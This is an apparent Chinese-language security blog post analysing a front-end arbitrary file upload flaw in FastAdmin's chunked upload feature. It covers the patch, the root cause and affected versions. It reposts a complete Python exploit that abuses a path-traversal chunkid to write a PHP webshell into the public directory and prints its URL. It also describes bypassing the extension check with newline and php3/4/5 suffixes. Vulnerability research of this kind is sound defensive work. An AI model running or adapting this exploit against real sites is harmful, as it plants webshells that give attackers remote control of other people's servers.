FastAdmin前台任意文件上传

背景

吐槽

不得不说的是这个漏洞我并没有发现

自认为应该能看得出来,但是我确实没看到过类似的代码

看了下网上公开说的影响版本

  • 小于v1.2.0.20210401

其实不然,都看了一下总共就影响三个版本,其他的没有相关功能,试试采用的ThinkPHP框架的原生上传方式

漏洞限制

  • 前台权限
  • 开启了支持分片上传(默认关闭)

影响版本

  • v1.2.0.20210125
  • v1.0.0.20201008
  • v1.0.0.20200506

但不得不提的是,确实属于上传的比较少见的一种方式,故学习一下

漏洞的修复

看一下官方怎么说的

1617678123463

说是修复了分片上传的bug

去对比一下代码

1617681050126

基本都是对chunkid做了正则匹配

1617681118588

漏洞分析

漏洞文件

api/controller/common.phpupload方法

1617678776016

1617681359142

可以看到,整个的分片上传分为三个步骤

  • 首先通过chunk方法上传文件
  • 然后通过merge方法合并分片上传的文件
  • 最后在merge方法中调用upload方法进行文件上传

但其实漏洞的完整触发,只需要前两个步骤就可以了

实际的触发点是fwrite方法的第一个参数可控

1617681520621

因为chunkid是通过前台传递过来的所以可以为a.php的形式

1617681578927

所以实质算个文件写入漏洞吧

漏洞复现

具体复现也不再多写了

漏洞利用脚本

贴个别人写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import sys
import requests
from time import time
from json import loads

headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36',
}

def banner():
RED = '\033[31m'
print(f"""
{RED} _____ _ _ _ _
| ___|_ _ ___| |_ / \ __| |_ __ ___ (_)_ __
| |_ / _` / __| __| / _ \ / _` | '_ ` _ \| | '_ \
| _| (_| \__ \ |_ / ___ \ (_| | | | | | | | | | |
|_| \__,_|___/\__/_/ \_\__,_|_| |_| |_|_|_| |_|
Author: Search?=Null
""")

def upload_chunk(url):
upload_url = url.rstrip('/') + '/index/ajax/upload'
file = {
'file': ('%d.php' % time(), open('hhh.php', 'rb'), 'application/octet-stream')
}
chunk_id = time()
data_ = {
'chunkid': '../../public/%d.php' % chunk_id,
'chunkindex': 0,
'chunkcount': 1
}
resp = requests.post(
upload_url,
headers = headers,
files = file,
data = data_
)
result = loads(resp.text)
if result['code'] == 1 and result['msg'] == '' and result['data'] == None:
merge_file(upload_url, chunk_id)
print('\nWebshell: %s/%d.php' % (url.rstrip('/'), chunk_id))
else:
print('Not Vulnerability.')

def merge_file(url, chunk_id):
data_ = {
'action': 'merge',
'chunkid': '../../public/%d.php' % chunk_id,
'chunkindex': 0,
'chunkcount': 1,
'filename': '%d.php-0.part' % chunk_id
}
resp = requests.post(
url,
headers = headers,
data = data_
)

def main():
global headers
banner()
if len(sys.argv) == 2:
try:
headers['Cookie'] = input('Cookie > ')
upload_chunk(sys.argv[1])
except Exception:
print('Not Vulnerability.')
else:
print('Usage: python3 FastAdmin.py url')

if __name__ == "__main__":
main()

hhh.php自行制作图片马即可

其他

与这个相比,个人更喜欢upload方法,觉得upload方法拿shell的改率可能比这个都要大一些

相对于20200506版本之前的代码

1617688378163

可以看到,这是类似与白名单,只要一个不通过就是error

但是新版的代码改变了逻辑

1617688492606

只要有一个通过,则返回值为Truetype还是可控的参数

所以这里就职存在了两种

1617688841573

一个正则匹配,一个黑名单的问题

实际上这种问题在遇到解析php3这种后缀的时候直接上传就可以,但是这里想能不能更大化的利用一下

fuzz一下这个正则

1
2
3
4
5
6
7
8
9
10
<?php
$a = $_REQUEST['a'];
echo $a;
$suffix = strtolower(pathinfo($a, PATHINFO_EXTENSION));
if(preg_match("/^[a-zA-Z0-9]+$/", $suffix)){
echo $suffix;
}else {
echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
}
?>

发现了换行符这个神奇的东西

1617689874889

测试一个传入换行符

1617690049639

可以成功写php文件

但是比较难受的一点就是这是get请求测试的,实际的$_FILES变量并不支持文件名中带有换行符

1617693025497

但是php345还是支持上传的

1617692445452

end